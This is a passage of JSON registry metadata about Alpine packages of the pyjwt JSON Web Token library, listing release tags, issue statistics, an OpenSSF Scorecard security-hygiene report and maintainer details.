itHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.925Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":14.555339009129142,"stargazers_count":1.9078879885116422,"forks_count":1.9796902246384245,"average":4.610729305569802},"purl":"pkg:apk/alpine/py2-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.9","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py2-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py2-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py2-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py2-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.9","url":"https://pkgs.alpinelinux.org/packages?branch=v3.9","ecosystem":"alpine","default":false,"packages_count":9749,"maintainers_count":154,"namespaces_count":2,"keywords_count":832,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":356},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.805Z","updated_at":"2026-06-10T05:12:00.044Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/namespaces"}},{"id":6227476,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-11-05T15:33:50.000Z","latest_release_published_at":"2019-11-05T15:33:50.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-03-05T05:33:08.906Z","created_at":"2023-02-01T04:09:51.968Z","updated_at":"2026-05-29T04:00:35.964Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.11/main/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 